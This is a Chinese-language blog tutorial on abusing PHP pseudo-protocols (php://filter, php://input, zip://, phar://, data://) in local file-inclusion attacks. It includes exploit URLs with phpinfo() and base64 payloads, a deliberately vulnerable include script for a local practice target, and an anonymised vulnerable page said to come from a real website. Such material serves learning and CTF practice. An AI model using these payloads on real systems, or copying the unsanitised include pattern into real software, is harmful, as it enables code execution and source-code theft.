PHP伪协议

//文件读取相关函数
include、require、include_once、require_once、highlight_file 、show_source 、readfile 、file_get_contents 、fopen 、file

0x00 PHP伪协议

基于函数include()include_once()两个的利用情况

有如下的协议:

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

我就针对经常用到的几个做了整理,这里要感谢各大搜索引擎和部分博主,包括但不限于FREEBUFQ1n6ChaBug


0x01 利用条件

协议利用条件说明用法
file://allow_url_fopen和allow_url_include双Off情况下可正常使用访问本地文件系统file://文件绝对路径和文件名
php://不需要开启allow_url_fopen(仅php://input,php://stdin,php://memory和php://temp需要allow_url_include=On)访问IO流php://input 可以访问请求的原始数据的只读流,将post请求中的数据作为php代码执行。
zip://,bzip2://,zlib://双Off条件下可使用zip://test.zip#x.txt zip://绝对路径#子文件名,x.txt内容就会以php代码执行compress.bzip2://test.bz2和compress.zlib://test.gz用法相同 , https://blog.dyboy.cn/include.php?file=compress.bzip2://绝对路径/shell.jpg 或者 compress.bzip2://./shell.jpg可以访问压缩文件中的子文件,更重要的是不需要指定后缀名
data://双Onhttps://blog.dyboy.cn/include.php?file=data://text/plain,<?php phpinfo();?>,或者 data://text/plain;base64,PD9waHAgcGhwaW5mbygpPw4= , 或者 data:text/plain,<?php phpinfo();?> , 或者 data:text/plain;base64,PD9waHAgcGhwaW5mbygpPw4=同样以string可写入php代码,并执行

0x02 大杂烩

利用zip或phar伪协议读取压缩包中的文件

/about.php?f=phar://./images/1499394959.jpg/1.php
/about.php?f=zip://./images/1499394959.jpg%231.php

来自Freebuf

来自Freebuf

来自Freebuf

来自Freebuf


0x03 本地演练

看了不如练了,所以自己构建本地靶场,来测试感受一下!

<?php
//D:/Server/htdocs/emlog/ctf.php
//伪协议例子

@$file = isset($_GET[file])?$_GET['file']:'ctf.php';
include_once($file);
highlight_file($file);

?>

1.file:// 文件协议:
http://www.test.com/ctf.php?file=file://D:/Server/htdocs/emlog/phpinfo.txt
这是file://协议

img


2.php://filter/read=convert.base64-encode
http://www.test.com/ctf.php?file=php://filter/read/convert.base64-encode/resource=phpinfo.txt

img

*这里还可以把read=string.tolower/resource=... 可以直接读取源码


3.php://filter 协议:
http://www.test.com/ctf.php?file=php://filter/resource=phpinfo.txt
img

4.php://input 协议
此协议需要allow_url_include=On;
访问:http://www.test.com/ctf.php?file=php://input
POST数据:<?php phpinfo(); ?>

img


5.压缩包协议
此协议类似于file://协议allow_url_fopenallow_url_include的启用与否无关系

链接规范参考如下:zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]

访问执行php代码:
http://www.test.com/ctf.php?file=zip://D:/Server/htdocs/emlog/phpinfo.zip%23phpinfo.txt

img

其余的压缩包协议也是一样的唉~


6.bzip2:// 协议

usage:compress.bzip2://file.bz2

http://www.test.com/ctf.php?file=compress.bzip2://D:/Server/htdocs/emlog/phpinfo.jpg

http://www.test.com/ctf.php?file=compress.bzip2://./phpinfo.jpg

这个不知道为什么,没有复现成功,只出现了一片空白,哪位大佬可以告知一下嘛???

7.zlib:// 协议

usage:compress.zlib://file.gz

http://www.test.com/ctf.php?file=compress.zlib://D:/Server/htdocs/emlog/phpinfo.jpg

http://www.test.com/ctf.php?file=compress.bzip2://./phpinfo.jpg

img


8.data:// 协议
Freebuf中的作者已经验证官方文档给出的错误,data://协议需要双On

  1. http://www.test.com/ctf.php?file=data://text/plain,<?php%20phpinfo();%20?>
  2. http://www.test.com/ctf.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
    也可以直接去掉上面链接的//

0x04 总结

知识还是要一点点啃完,虽然边学边写博客,还一边复现,收获很深刻,也希望对大家有帮助!还有文中的问题,麻烦那个大佬解决一下呀~

0x05 补充某网站真实案例

代码精简后如下:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>xxxxxxxxxx</title>

</head>

<body bgcolor="#00ffff">
      <p>
      <?php 
          $contant=isset($_GET['show']) ? $_GET['show'] : 'xxzx.html'; 
          include(iconv("UTF-8","gb2312",$contant)); 
      ?>
      </p>

</body>
</html>
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值